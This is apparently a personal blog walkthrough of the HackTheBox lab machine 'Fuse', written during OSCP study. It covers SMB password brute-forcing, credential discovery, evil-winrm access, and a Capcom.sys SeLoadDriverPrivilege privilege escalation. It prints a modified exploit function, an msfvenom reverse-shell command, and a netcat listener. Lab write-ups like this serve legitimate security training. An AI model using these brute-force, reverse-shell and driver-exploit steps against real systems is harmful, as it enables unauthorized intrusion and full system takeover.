HackTheBox Fuse
Today’s box on my OSCP journey is Fuse from HackTheBox. My history on this box is interesting. I got user months ago and was completely lost on the privesc. I was desperate enough to look at a write up and knew I needed to develop a privesc methodolgy. So here I am a couple of months later giving it another shot after some learning and improving my cheat sheet.
Disclaimer
These isn’t “here’s how I got root after following someone else’s writeup”. The best part about the OSCP journey has been the persepctive I’ve gained looking at systems and thinking through them, especially coming from a blue team background. I like to write these to help explain how I thought through the box, where I needed help, and what I learned.
Enumeration
I AM THE ONE WHO NMAPs
nmap -p- 10.10.10.193
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49666/tcp open unknown
49667/tcp open unknown
49675/tcp open unknown
49676/tcp open unknown
49679/tcp open unknown
49691/tcp open unknown
49698/tcp open unknown
nmap -A 10.10.10.193
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-16 23:04 EST
Nmap scan report for 10.10.10.193
Host is up (0.023s latency).
Not shown: 992 filtered ports
PORT STATE SERVICE VERSION
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-12-17 04:25:16Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fabricorp.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2016|2012 (88%)
OS CPE: cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_server_2012:r2
Aggressive OS guesses: Microsoft Windows Server 2016 (88%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (85%), Microsoft Windows Server 2012 R2 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: FUSE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 3h00m52s, deviation: 4h37m09s, median: 20m51s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: Fuse
| NetBIOS computer name: FUSE\x00
| Domain name: fabricorp.local
| Forest name: fabricorp.local
| FQDN: Fuse.fabricorp.local
|_ System time: 2020-12-16T20:25:25-08:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-12-17T04:25:23
|_ start_date: 2020-12-17T04:25:03
TRACEROUTE (using port 445/tcp)
HOP RTT ADDRESS
1 23.68 ms 10.10.14.1
2 23.80 ms 10.10.10.193
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 121.20 seconds
We have a Windows box on our hands for sure. We’ll definiotely probe SMB, HTTP, maybe brute force kerberos, and keep WinRM in mind if we get some creds. Since I see 53 open, I add the IP to my etc/hosts. We do this as you may actually get different pages using DNS instead of the IP. By the way, how do I know what the domain is? Check out the NMAP above.
10.10.10.193 fabricorp.local
I navigate to the site and it redirects to: http://fuse.fabricorp.local/papercut/logs/html/index.htm.
Interesting. So it’s some sort of a print server and we can access some logs.
Oh look, usernames! Let’s make a list from the 3 pages:
pmerton
tlavel
sthompson
bhult
administrator
Ok cool, we’ve got users. As always with HTTP though, let’s make sure there aren’t any other interesting directories. (Note: As I’ve said before, take note that I’m not disguising the user agent and I have an absurd amount of threads. This would be easy to spot for a defender, don’t do this is a real world situiation!)
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.193 -t 25
No Robots.txt… what else.
We’ve got some users and we’ve got SMB or kerberos to try some creds. Let’s use the tool with the best name to grab some words from the web page:
cewl -d 5 -m 8 –with-numbers -w /root/Desktop/htb/fuse/fuse_words.txt http://fuse.fabricorp.local/papercut/logs/html/index.htm
For clarity: d = page depth, m = minimum word length, –withnumbers picks up words with numbers (e.g. password1) -w writes the output to a file. Why choose these? The site doesn’t appear very big, so setting the depth at 5 should cover me, I am completely guessing here but a general minimum standard password length is 8, and complexity is also a generally recommended setting for AD password configs.
We get a list of 45 words:
PaperCut
GRAYSCALE
papercut
sthompson
LONWK019
Document
Grayscale
Software
Copyright
Location
NotepadLETTER
Language
printing
International
bnielson
LONWK015
mountain
Fabricorp01
invocation
LAPTOP07
administrator
additional
features
Forbidden
available
software
printers
attached
consider
monitoring
reporting
charging
advanced
management
inaccurate
developers
Developer
PaperCutDev
permission
directory
credentials
supplied
pdfLETTER
WordLETTER
Untitled
A few of these jump out as really good candidates, but let’s use them all.
Before brute forcing passwords and users, I try SMB just to see if guest is enabled (smbclient -L 10.10.10.193). It is not. :( We definitely need credentials.
Hackin
Let me introduce to you a tool that I recently learned about: CrackMapExec (cme). It’s a versatile tool created by the famous byt3bl33d3r of BHIS and you should check out: cme. Let’s run it and use SMB while feeding it a file of users and a file of those passwords:
cme smb 10.10.10.193 -u /root/Desktop/htb/fuse/fuse_users -p /root/Desktop/htb/fuse/fuse_words.txt
Nothing… nothing… the anticipation of watching this thing is worse than staring at your microwave while your stomach growls at the hot pocket inside. FINALLY!
SMB 10.10.10.193 445 FUSE [-] fabricorp.local\tlavel:Fabricorp01 STATUS_PASSWORD_MUST_CHANGE
Huh? Password must change? That’s weird. None of the other combos worked though. I used CME because it was a new tool I wanted to try. The password thing throws me off so I try trusty old Hydra:
hydra -L /root/Desktop/htb/fuse/fuse_users -P /root/Desktop/htb/fuse/fuse_words.txt 10.10.10.193 smb -V -f
The output is long (630 combinations), but here is what I want you to see:
ATTEMPT] target 10.10.10.193 - login "tlavel" - pass "Fabricorp01" - 63 of 630 [child 0] (0/0)
[445][smb] host: 10.10.10.193 login: tlavel password: Fabricorp01
Notice that Hydra doesn’t gather the addditional info and inform us that the password has expired. Interesting! CME seems to be the better tool for brute forcing SMB passwords.
Anyway, let’s login with out new creds.
smbclient -L 10.10.10.193 -U "tlavel"
Enter WORKGROUP\tlavel's password:
session setup failed: NT_STATUS_PASSWORD_MUST_CHANGE
Ok, so even though CME found it first, we still would’ve discovered this… So how do I change the users password? A little interwebs searching leads me to the smbpasswd utility:
smbpasswd -U tlavel -r fabricorp.local
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user tlavel on fabricorp.local.
I add that little nugget to my cheat sheet. I’m feeling good and try to enumerate SMB again with the NEW password:
smbclient -L 10.10.10.193 -U "tlavel"
Enter WORKGROUP\tlavel's password:
session setup failed: NT_STATUS_PASSWORD_MUST_CHANGE
What? I just changed the password you stupid machine! I figure maybe I ran the above smbpasswd wrong and try to change the password again, but this time I get a new error:
machine fabricorp.local rejected the password change: Error was : When trying to update a password, this status indicates that some password update rule has been violated. For example, the password might not meet length criteria..
Oh come on! So you remember that I JUST changed the password and now you’re keeping it in your last X password history?!?!!? The maker of this box is cruel. So what probably happens is that he has some script or something resetting the user’s password and setting it to change. We have a couple of optios here: we can script something to change the password and then try the SMB enumeration, or we can just try to be faster. If this scenario were in any way realistic (e.g. I could use that script again) I would put them time in, but this seems like something we can do with 2 windows. Side bar: I liek Tilix, deal with it.
So I set up 2 termianl panes: one with smbpasswd and one with smbclient. I quickly change the password (putting the new password in the clipboard for no chance of errors and to make it faster) and after 2 tries, it works!
smbclient -L 10.10.10.193 -U "tlavel"
Enter WORKGROUP\tlavel's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
HP-MFT01 Printer HP-MFT01
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
print$ Disk Printer Drivers
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.193 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available
We’ve got some interesting shares, but trying to log in to each and searching for goodies is going to take time. I switch to rpcclient so we can actually run commands and enumerate. Yes, I have to start the above all over again since the password expired.
rpcclient -U "tlavel" 10.10.10.193
Enter WORKGROUP\tlavel's password:
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[svc-print] rid:[0x450]
user:[bnielson] rid:[0x451]
user:[sthompson] rid:[0x641]
user:[tlavel] rid:[0x642]
user:[pmerton] rid:[0x643]
user:[svc-scan] rid:[0x645]
user:[bhult] rid:[0x1bbd]
user:[dandrews] rid:[0x1bbe]
user:[mberbatov] rid:[0x1db1]
user:[astein] rid:[0x1db2]
user:[dmuir] rid:[0x1db3]
More users! In addition to the ones we found from the print job logs, we found service accounts. Rpcclient has a lot of great commands for enumeration, so let’s keep going. In my cheat sheet, I have enumdomusers, srvinfo, getdompwinfo, chgpasswd, queryuser, enumprinters.
rpcclient $> srvinfo
10.10.10.193 Wk Sv PDC Tim PrQ NT
platform_id : 500
os version : 10.0
server type : 0x80122b
rpcclient $> getdompwinfo
min_password_length: 7
password_properties: 0x00000001
DOMAIN_PASSWORD_COMPLEX
rpcclient $> queryuser tlavel
User Name : tlavel
Full Name :
Home Drive :
Dir Drive :
Profile Path:
Logon Script:
Description :
Workstations:
Comment :
Remote Dial :
Logon Time : Tue, 02 Feb 2021 22:29:59 EST
Logoff Time : Wed, 31 Dec 1969 19:00:00 EST
Kickoff Time : Wed, 31 Dec 1969 19:00:00 EST
Password last set Time : Wed, 31 Dec 1969 19:00:00 EST
Password can change Time : Wed, 31 Dec 1969 19:00:00 EST
Password must change Time: Wed, 31 Dec 1969 19:00:00 EST
unknown_2[0..31]...
user_rid : 0x642
group_rid: 0x201
acb_info : 0x00020010
fields_present: 0x00ffffff
logon_divs: 168
bad_password_count: 0x00000000
logon_count: 0x00000000
padding1[0..7]...
logon_hrs[0..21]...
rpcclient $> enumprinters
flags:[0x800000]
name:[\\10.10.10.193\HP-MFT01]
description:[\\10.10.10.193\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)]
comment:[]
We’re on a Winodws 10 box… password complexity IS turned on (glad we set cewl up the way we did), tlavel’s password was already reset, and we’ve got a printer share. Wait a minute, a password! But for what account? It’s obviosuly for the printer… which account would install the printer? How about the print service account!
smbclient \\\\10.10.10.193\\HP-MFT01 -U "svc-print"
Enter WORKGROUP\svc-print's password:
smb: \> pwd
Current directory is \\10.10.10.193\HP-MFT01\
Now we’ve got something! I close out of the gobuster directory search as we don’t even need it, we’ve got a user. Now, where can we go from here? Let’s go back to Nmap. HTTP but I don’t see a login to maybe upload a reverse shell, but we do have wsman (port 5985). I check my cheat sheet… EVIL WINRM MWAHAHAAHA!
evil-winrm -i 10.10.10.193 -u svc-print
*Evil-WinRM* PS C:\Users\svc-print\desktop> dir
Directory: C:\Users\svc-print\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/2/2021 2:25 AM 10576 Capcom.sys
-ar--- 2/1/2021 10:41 PM 34 user.txt
PrivEsc
Now that we’ve got a user, we need to finish this box. We’ve got a stable shell, so let’s figure this out. Remember that this is where I got so lost last time that I gave up even after looking at a write up. Enough time had passed to where I completely forgot the write up details, so this should be fun.
The biggest lesson the failure taught me last time is to have your methodology ready to go in your cheat sheet. Mine is in Onenote and now the first page under Windows Priv esc contains some commands to run. Like this one:
*Evil-WinRM* PS C:\Users\svc-print\desktop> whoami /all
USER INFORMATION
----------------
User Name SID
=================== ==============================================
fabricorp\svc-print S-1-5-21-2633719317-1471316042-3957863514-1104
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============================================== ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Print Operators Alias S-1-5-32-550 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
FABRICORP\IT_Accounts Group S-1-5-21-2633719317-1471316042-3957863514-1604 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
Ok. I see some things to check. But let’s use my cheat sheet and keep gathering some basics:
*Evil-WinRM* PS C:\Users\svc-print\desktop> systeminfo
Program 'systeminfo.exe' failed to run: Access is deniedAt line:1 char:1
+ systeminfo
+ ~~~~~~~~~~.
At line:1 char:1
+ systeminfo
+ ~~~~~~~~~~
+ CategoryInfo : ResourceUnavailable: (:) [], ApplicationFailedException
+ FullyQualifiedErrorId : NativeCommandFailed
Boooooo! You can’t deny me! Next is winPEAS. I spin up a python web server and certutil that baby on over. The output is long and takes some time to go through. Here is the intersting bit:
[?] Check if you can escalate privilege using some enabled token https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#token-manipulation
SeMachineAccountPrivilege: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
SeLoadDriverPrivilege: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
SeShutdownPrivilege: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
SeChangeNotifyPrivilege: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
SeIncreaseWorkingSetPrivilege: SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
WinPEAS didn’t give us anything crazy, but it does give us a link to check out these privs. I scan the hacktricks site, but it’s not the direction I need right now. I start searching “priv esc privname” and SeLoadDriverPrivilege is rather famously dangerous. This seems to be exactly what I was looking for: Tarlogic. Since drivers help the kernel interact with hardware, they can be extremely dangerous, hence why seeing that priv is a big red flag. The write up calls out Capcom. Campcom? Like Megaman Capcom?
That leads me to ExploitCapcom and now I’ve got a plan. You need to compile the C++ though. The only compiler I’ve messed with (since college) is GCC (thank you Python for being incredibly user friendly). I search “GCC C++” and it’s lots of people having errors and complaining, but it does look like GCC can do it. Trying to learn a better way, searching again tells me that I should be using M$ Visual Studio.
Well, there goes the next hour or so. Visual Studio is huge and takes a while to download and install on my Windows host. And of course, I can’t even start a C++ project without installing more add ons. FINALLY, I can open the C++ file and the project from Github. I use VS Code for writing Python, but damn is VS powerful and complex! After I poke around, I figure out what I need to do. Compiling the loader was easy and straight forward. But the exploit takes a little longer. You should always at least try to figure out what someone else’s exploit does. Even if you’re not a coder, with some practive and comment reading you can at least have an idea.
This block is the bit we need to play with:
static bool LaunchShell()
{
TCHAR CommandLine[] = TEXT("C:\\Windows\\system32\\cmd.exe");
PROCESS_INFORMATION ProcessInfo;
STARTUPINFO StartupInfo = { sizeof(StartupInfo) };
if (!CreateProcess(CommandLine, CommandLine, nullptr, nullptr, FALSE,
CREATE_NEW_CONSOLE, nullptr, nullptr, &StartupInfo,
&ProcessInfo))
{
return false;
}
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
return true;
}
Launching a command prompt isn’t going to help me since I’m in a webshell. Do I transfer netcat over and have it send me a shell? Since the exploit is just running an EXE, I decide the easiest thing to do is to just use msfvenom to create a reverse shell exe and have the exploit C++ run it. I should have access to the temp directory. If it doesn’t work, I can try on the svc-print desktop.
static bool LaunchShell()
{
TCHAR CommandLine[] = TEXT("C:\\Windows\\Temp\\rev53.exe");
PROCESS_INFORMATION ProcessInfo;
STARTUPINFO StartupInfo = { sizeof(StartupInfo) };
if (!CreateProcess(CommandLine, CommandLine, nullptr, nullptr, FALSE,
CREATE_NEW_CONSOLE, nullptr, nullptr, &StartupInfo,
&ProcessInfo))
{
return false;
}
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
return true;
}
I compiple the above, but get an error for the stdfax library. I’ve run into this before in Python where a library is deprecated or included in another, so I decide to remove it. Worst case scenario, I’ll add it back and search the interwebs for help. It complies! Next I load 3 files (capcom.sys, the loader EXE, and the exploit exe) code to my VM. Side bar: stop what you are doing and make a shared folder between your host and pen testing VM. You’ll thank me later.
Now I have to create my reverse shell payload. Nothing fancy here, standard reverse shell EXE:
msfvenom -p windows/shell_reverse_tcp lhost=10.10.10.10 lport=53 -f exe > rev53.exe
Now I transfer 4 files over to Fuse’s c:\Windows\Temp: capcom.sys, the loader EXE, the Exploit EXE, and the reverse shell EXE. Run the loader… ok, time to run the exploit EXE and see if this works! Wait, set up a listener on 53:
nc -nlvp 53
listening on [any] 53 ...
Cross your fingers and run the exploit!
connect to [10.10.14.33] from (UNKNOWN) [10.10.10.193] 63498
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
C:\windows\temp>whoami
whoami
nt authority\system
VICTORY! Wow, what a fun box! I learned a lot for sure. I add another page in my cheat sheet for Windows privsec outlining what I did above with capcom and the SELoadDriverPrivilege. Other than not finishing that directory brute force, I am pretty happy with myself on this box. I was much more confident this time on the privesc and sometimes a little of that will carry you through!